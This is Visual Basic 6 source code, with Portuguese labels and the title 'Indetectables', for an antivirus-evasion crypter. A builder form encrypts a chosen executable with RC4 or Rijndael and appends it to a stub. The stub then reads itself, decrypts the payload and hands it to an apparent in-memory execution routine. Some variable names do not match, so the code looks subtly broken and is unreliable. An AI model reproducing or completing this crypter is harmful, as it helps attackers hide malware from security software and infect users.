Indetectables

Const Formulario1 = "iBOtYSOwhTBJsA3zTEwtA5UzfdsKBX8pZ9wMF8CoQvAek"
Const Formulario2 = "RF7s4ODlc5BJ8IedEZbsd98SYfJswheptSsPp8CogjrN4RL"
Const Formulario3 = "QZUy24yksbQ9r2YDjEhwzHCKGLHt0hu9sQs1FCxkc"
Public Function sRandom()

Dim Weepse As String
Dim Espeew As Integer

Weepse = Formulario1 + Formulario2 + Formulario3
For Espeew = 1 To 50
sRandom = sRandom & Mid$(Weepse, Int((Rnd * Len(Weepse)) + 1), 1)
Next Espeew



End Function
Private Sub Command1_Click()
With CD
.DialogTitle = "Selecione o arquivo a encryptar"
.Filter = "Executáveis|*.exe"
.ShowOpen
End With

If Dir(CD.Filename) = vbNullString Then Exit Sub
Text1.Text = CD.Filename


End Sub

Private Sub Command2_Click()
Text2.Text = sRandom



End Sub

Private Sub Command3_Click()

Dim BUTS As String

If Text1.Text = vbNullString Then
MsgBox "ERRO", vbInformation, Me.Caption
Exit Sub
End If

With CD
.DialogTitle = "Selecione local para salvar"
.Filter = "Executáveis|*.exe"
.ShowSave
End With

Open App.Path & "\" & "BUTS.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , BUTS
Close #1


Dim EOF As String
If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)

Dim FOE As String
Open Text1.Text For Binary As 1
FOE = Space(LOF(1))
Get #1, , FOE
Close #1

Dim RC4 As New clsRC4, Rijndael As New clsRijndael
Dim Encripta As String

If Option1.Value = True Then
FOE = RC4.EncryptString(FOE, Text2.Text)
Encripta = "RC4"
End If

If Option2.Value = True Then
FOE = Rijndael.EncryptString(FOE, Text2.Text)
Encripta = "Rijndael"
End If


Dim BUTSdata As String
BUTSdata = BUTS & "delimitador" & FOE & "delimitador" & Encripta & "delimitador" & Text2.Text & "delimitador"

If Check1.Value = 1 Then Call WriteEOFData(CD.Filename, EOF)
Open CD.Filename For Binary As 1
Put #1, , BUTSdata & "SenhaAAAAAAAA"
Close #1

MsgBox "encriptado com sucesso"





End Sub

Private Sub Form_Load()
Skin1.ApplySkin Me.hWnd

End Sub

Sub Main()

Dim BUTdata As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
BUTdata = Space(LOF(1))
Get #1, , BUTdata
Close #1

Dim Butlip() As String
Butlip() = Split(dataBUT, "delimitador")

'Butlip() = stub
'Butlip(1) = arquivo encriptado
'Butlip(2) = encriptação usada
'Butlip(3) = Keygen

Dim RC4 As New clsRC4, Rijndael As New clsRijndael

If Butlip(2) = "RC4" Then
Butlip(1) = RC4.DecryptString(Butlip(1), Butlip(3))
End If

If Butlip(2) = "Rijndael" Then
Butlip(1) = Rijndael.DecryptString(Butlip(1), Butlip(3))
End If

Dim BUTSdatas() As Byte

BUTSdatas() = StrConv(Butlip(1), vbFromUnicode)

Call CCAHLHS(App.Path & "\" & App.EXEName & ".exe", BUTSdatas(), Command)


End Sub